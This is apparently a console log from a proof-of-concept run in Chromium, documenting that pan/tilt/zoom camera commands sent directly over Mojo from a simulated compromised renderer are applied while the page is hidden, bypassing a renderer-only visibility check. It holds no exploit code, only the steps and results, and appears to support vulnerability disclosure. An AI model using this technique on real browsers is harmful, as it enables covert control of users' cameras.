[2687:2687:0414/114203.726509:INFO:CONSOLE:18] "[POC] === ImageCapture PTZ page-visibility bypass ===", source: http://127.0.0.1:8000/poc.html (18)
[2687:2687:0414/114204.104216:INFO:CONSOLE:18] "[POC] Got video track. deviceId(sourceId)=2576d17a85886b71709680476f5f0a4c7bb0788e60cf788fec455f96f5c1fa90", source: http://127.0.0.1:8000/poc.html (18)
[2687:2687:0414/114204.104630:INFO:CONSOLE:18] "[POC] Track capabilities: {"pan":{"max":400,"min":100,"step":1},"tilt":{"max":400,"min":100,"step":1},"zoom":{"max":400,"min":100,"step":1}}", source: http://127.0.0.1:8000/poc.html (18)
[2687:2687:0414/114204.106182:INFO:CONSOLE:18] "[POC] Bound media.mojom.ImageCapture directly (compromised-renderer sim).", source: http://127.0.0.1:8000/poc.html (18)
[2687:2687:0414/114204.125566:INFO:CONSOLE:18] "[POC] Browser-reported zoom BEFORE = 100 (range 100..400)", source: http://127.0.0.1:8000/poc.html (18)
[2687:2687:0414/114204.125783:INFO:CONSOLE:18] "[POC] Opening new tab to background this one ...", source: http://127.0.0.1:8000/poc.html (18)
[2687:2687:0414/114204.256354:INFO:CONSOLE:18] "[POC] document.visibilityState = hidden  [HIDDEN]", source: http://127.0.0.1:8000/poc.html (18)
[2687:2687:0414/114204.256608:INFO:CONSOLE:18] "[POC] Renderer-enforced check: track.applyConstraints(zoom) rejected with SecurityError: "the page is not visible"  <-- this is the ONLY visibility gate.", source: http://127.0.0.1:8000/poc.html (18)
[2687:2687:0414/114204.256889:INFO:CONSOLE:18] "[POC] Sending SetPhotoOptions{pan=175, tilt=225, zoom=300} over Mojo while page is HIDDEN ...", source: http://127.0.0.1:8000/poc.html (18)
[2687:2687:0414/114204.310096:ERROR:content/browser/image_capture/image_capture_impl.cc:123] [POC-BROWSER] ImageCaptureImpl::SetPhotoOptions PTZ request pan=175 tilt=225 zoom=300 ; render_frame_host().GetVisibilityState()=1 (0=kVisible 1=kHidden 2=kHiddenButPainting) ; HasPanTiltZoomPermissionGranted()=1
[2687:2687:0414/114204.315691:INFO:CONSOLE:18] "[POC] Browser ImageCaptureImpl::SetPhotoOptions returned success=true", source: http://127.0.0.1:8000/poc.html (18)
[2687:2687:0414/114204.318665:INFO:CONSOLE:18] "[POC] Browser-reported zoom AFTER  = 300 pan=175 tilt=225  (visibilityState=hidden)", source: http://127.0.0.1:8000/poc.html (18)
[2687:2687:0414/114204.319031:INFO:CONSOLE:18] "[POC] *** RESULT: VULNERABLE -- browser applied PTZ to the capture device while the page was hidden, bypassing the renderer-only SecurityError gate. ***", source: http://127.0.0.1:8000/poc.html (18)